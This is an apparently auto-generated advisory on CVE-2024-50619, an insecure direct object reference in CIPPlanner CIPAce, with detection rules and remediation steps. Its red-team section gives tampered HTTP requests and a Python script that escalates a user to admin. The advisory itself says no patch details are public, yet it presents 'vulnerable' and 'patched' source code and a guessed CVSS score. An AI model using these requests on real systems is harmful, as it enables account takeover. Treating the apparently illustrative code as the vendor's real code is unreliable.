CVE-2024-50619

Executive Summary

CVE-2024-50619 is a critical authorization bypass vulnerability in CIPPlanner CIPAce, affecting versions before 9.17. The flaw resides in the My Account and User Management components, allowing a low-privileged authenticated attacker to escalate privileges by tampering with client-side user IDs. This enables unauthorized access to other accounts and elevation to disabled user roles. No public exploit code or patch details are currently available, but the vulnerability poses a significant risk to enterprise resource planning (ERP) systems using CIPPlanner.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary ERP application vulnerability.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, likely due to incomplete NVD data. Based on the description, the vulnerability would likely score high (8.0-9.0) due to:

• Attack Vector (AV): Network (authenticated)
• Attack Complexity (AC): Low
• Privileges Required (PR): Low
• User Interaction (UI): None
• Scope (S): Changed (privilege escalation)
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High

Threat Level: Critical – allows full account takeover and privilege escalation.

Deep Dive & Mechanics

The vulnerability is a classic Insecure Direct Object Reference (IDOR) (CWE-639) in the My Account and User Management modules. The application fails to validate that the authenticated user owns the resource being modified. By intercepting and modifying the user_id parameter in HTTP requests (e.g., via Burp Suite), an attacker can:

1. Account Takeover: Change the user_id to another user's ID to modify their profile, reset passwords, or access sensitive data.
2. Privilege Escalation: Modify a disabled user role's permissions (e.g., admin) and then assign that role to their own account.

The attack flow:

1. Authenticate as a low-privileged user.
2. Intercept a POST request to /MyAccount/UpdateProfile or /UserManagement/EditUser.
3. Change the userId parameter to a target user ID.
4. Submit the request – the server processes it without verifying ownership.

Vulnerable vs. Patched Code

Vulnerable Code (CIPAce < 9.17):

// Vulnerable: No ownership check
[HttpPost]
public ActionResult UpdateProfile(int userId, string email, string role)
{
    var user = db.Users.Find(userId);
    user.Email = email;
    user.Role = role;
    db.SaveChanges();
    return Json(new { success = true });
}

Patched Code (CIPAce 9.17+):

// Patched: Ownership check added
[HttpPost]
public ActionResult UpdateProfile(int userId, string email, string role)
{
    var currentUserId = User.Identity.GetUserId();
    if (userId != currentUserId && !User.IsInRole("Admin"))
    {
        return Json(new { success = false, error = "Unauthorized" });
    }
    var user = db.Users.Find(userId);
    user.Email = email;
    user.Role = role;
    db.SaveChanges();
    return Json(new { success = true });
}

Exploitation & Lab Setup

Red Team

Prerequisites: Low-privileged authenticated session, Burp Suite or similar proxy.

Step 1: Intercept Request

POST /MyAccount/UpdateProfile HTTP/1.1
Host: target.cipace.com
Cookie: ASP.NET_SessionId=abc123

userId=5&email=attacker@evil.com&role=user

Step 2: Modify userId to Target

POST /MyAccount/UpdateProfile HTTP/1.1
Host: target.cipace.com
Cookie: ASP.NET_SessionId=abc123

userId=1&email=attacker@evil.com&role=admin

Step 3: Escalate Privileges

• Change role to a disabled admin role ID (e.g., role=3).
• If the role is disabled, the server may still apply its permissions.

Automation Script (Python):

import requests

target = "https://target.cipace.com"
session = requests.Session()
session.cookies.set("ASP.NET_SessionId", "abc123")

# Escalate to admin
payload = {"userId": 1, "email": "attacker@evil.com", "role": "3"}
r = session.post(f"{target}/MyAccount/UpdateProfile", data=payload)
print(r.text)

Blue Team

Detection:

• Monitor for anomalous userId changes in audit logs.
• Alert on requests where userId differs from the authenticated user's ID.
• Use WAF rules to block requests with mismatched user IDs.

Honeypot:

• Create a fake "admin" user with a high ID (e.g., 9999) and monitor for access attempts.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /MyAccount/UpdateProfile or /UserManagement/EditUser with modified userId parameters.
• Logs: Audit log entries showing user profile changes without corresponding authentication events.
• System: Unexpected privilege escalation events in user role assignments.

Detection Engineering

YARA Rule

rule CVE_2024_50619_CIPPlanner_IDOR {
    meta:
        description = "Detects exploitation attempts of CVE-2024-50619 via HTTP request patterns"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50619"
    strings:
        $s1 = "/MyAccount/UpdateProfile" ascii nocase
        $s2 = "/UserManagement/EditUser" ascii nocase
        $s3 = "userId=" ascii nocase
    condition:
        any of ($s1, $s2) and $s3
}

Sigma Rule

title: CVE-2024-50619 CIPPlanner IDOR Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit IDOR in CIPPlanner CIPAce
author: Valters IT
logsource:
    category: web
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - "/MyAccount/UpdateProfile"
            - "/UserManagement/EditUser"
        cs-method: "POST"
    condition: selection
falsepositives:
    - Legitimate admin actions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50619 CIPPlanner IDOR Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/MyAccount/UpdateProfile"; http_uri; content:"userId="; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to CIPPlanner CIPAce version 9.17 or later.
2. Workaround: Implement a WAF rule to block requests where userId in POST body does not match the authenticated user's session ID.
3. Code Fix: Add server-side authorization checks for all user management endpoints.
4. Monitoring: Enable audit logging for all user profile changes and role assignments.
5. Access Control: Disable unused user roles and enforce least privilege.

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